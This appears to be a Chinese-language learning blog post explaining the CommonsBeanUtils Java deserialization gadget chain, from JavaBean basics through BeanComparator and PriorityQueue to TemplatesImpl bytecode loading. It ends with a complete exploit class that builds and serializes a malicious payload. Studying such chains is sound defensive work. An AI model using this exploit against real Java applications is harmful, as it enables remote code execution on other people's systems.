前言
暂时先跳过CC11,直接开始CB链,有了前面那么几条链子的基础挖这个链已经是挺轻松的了
我太想进步了(划掉
我太想学 shiro 和 fastjson 的链子了
参考:
《Java安全漫谈》
https://drun1baby.top/2022/07/12/CommonsBeanUtils%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
环境
jdk8 不受版本影响均可,其余环境如下:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
CommonsBeanUtils
Apache Commons 工具集下除了 collections
以外还有 BeanUtils
,它主要用于操控 JavaBean
JavaBean
参考:https://liaoxuefeng.com/books/java/oop/core/javabean/index.html
在Java中,有很多class
的定义都符合这样的规范:
- 若干
private
实例字段 - 通过
public
方法来读写实例字段,如 getter 和 setter
如果读写方法符合以下这种命名规范:
// 读方法:
public Type getXyz()
// 写方法:
public void setXyz(Type value)
那么这种class
被称为JavaBean
我们通常把一组对应的读方法(getter
)和写方法(setter
)称为属性(property
),只有getter
的属性称为只读属性(read-only),只有setter
的属性称为只写属性(write-only)
JavaBean主要用来传递数据,即把一组数据组合成一个JavaBean便于传输,此外,JavaBean可以方便地被IDE工具分析,生成读写属性的代码,比如 IDEA 里 alt+insert 生成 getter 和 setter
CommonsBeanUtils 这个包也可以操作 JavaBean,demo:
package com.example.cb;
public class javaBeanTest {
private String name="0w0";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任意 JavaBean 的 getter 方法
package com.example.cb;
import org.apache.commons.beanutils.PropertyUtils;
public class CBMethods {
public static void main(String[] args) throws Exception{
System.out.println(PropertyUtils.getProperty(new javaBeanTest(),"name"));
}
}
此时,Commons-BeanUtils 会自动找到 name 属性的getter 方法,也就是 getName ,然后调用并获得返回值
除此之外, PropertyUtils.getProperty
还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c");
的方式进行递归获取
而这个形式就可以实现任意函数调用
链子分析
先回忆一下 cc4 的链子:
* Gadget chain:
* ObjectInputStream.readObject()
* PriorityQueue.readObject()
* PriorityQueue.heapify()
* PriorityQueue.siftDown()
* PriorityQueue.siftDownUsingComparator()
* TransformingComparator.compare()
* InvokerTransformer.transform()
* Method.invoke()
* TemplatesImpl.newTransformer()
* TemplatesImpl.getTransletInstance()
* Runtime.exec()
而 CB 链和 CC4 的异同点就在于触发compare这个地方
链尾
我们链子的尾部是通过动态加载 TemplatesImpl 字节码的方式进行攻击的:
其调用链如下
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
可以看到链子的开头TemplatesImpl#getOutputProperties()
是一个 getter 方法,并且在源码里它的作用域是 public
所以可以通过 CommonsBeanUtils 中的 PropertyUtils.getProperty()
方式获取,于是恶意类加载就可以这么写:
package com.example.cb;
import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;
public class getPropertyExec {
public static void main(String[] args) throws Exception {
byte[] code = Utils.GenerateEvil();
TemplatesImpl obj = new TemplatesImpl();
Utils.SetValue(obj,"_bytecodes",new byte[][]{code});
Utils.SetValue(obj,"_name","test");
Utils.SetValue(obj,"_tfactory",new TransformerFactoryImpl());
PropertyUtils.getProperty(obj,"outputProperties");
}
}
中间部分
接下来找谁调用了PropertyUtils.getProperty()
跟踪到 BeanComparator#compare 方法,那么到这里就可以连上 cc4 的链子
编写exp
看一下BeanComparator#compare
方法:
public int compare( T o1, T o2 ) {
if ( property == null ) {
// compare the actual objects
return internalCompare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
// ...
}
这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象;如果 this.property 不为空,则用 PropertyUtils.getProperty
分别取这两个对象的 this.property 属性,比较属性的值
所以如果需要传值比较,肯定是需要新建一个 PriorityQueue
的队列,并让其有 2 个值进行比较
而 PriorityQueue
的构造函数参数当中就包含了一个 comparator,第一个参数是指定容量,我们直接指定为2即可
我们可以在这里传入 BeanComparator,而 BeanComparator 构造函数为空时,默认的 property 就是空
所以直接传入队列
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(2);
然后通过反射修改 property 的值,同时传入两个 TemplatesImpl 对象到队列里
最终exp:
package com.example.cb;
import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception{
byte[] code = Utils.GenerateEvil();
TemplatesImpl obj = new TemplatesImpl();
Utils.SetValue(obj, "_name","0w0");
Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(2);
Utils.SetValue(beanComparator, "property", "outputProperties");
Utils.SetValue(queue, "queue", new Object[]{obj, obj});
String barr = Utils.Serialize(queue);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}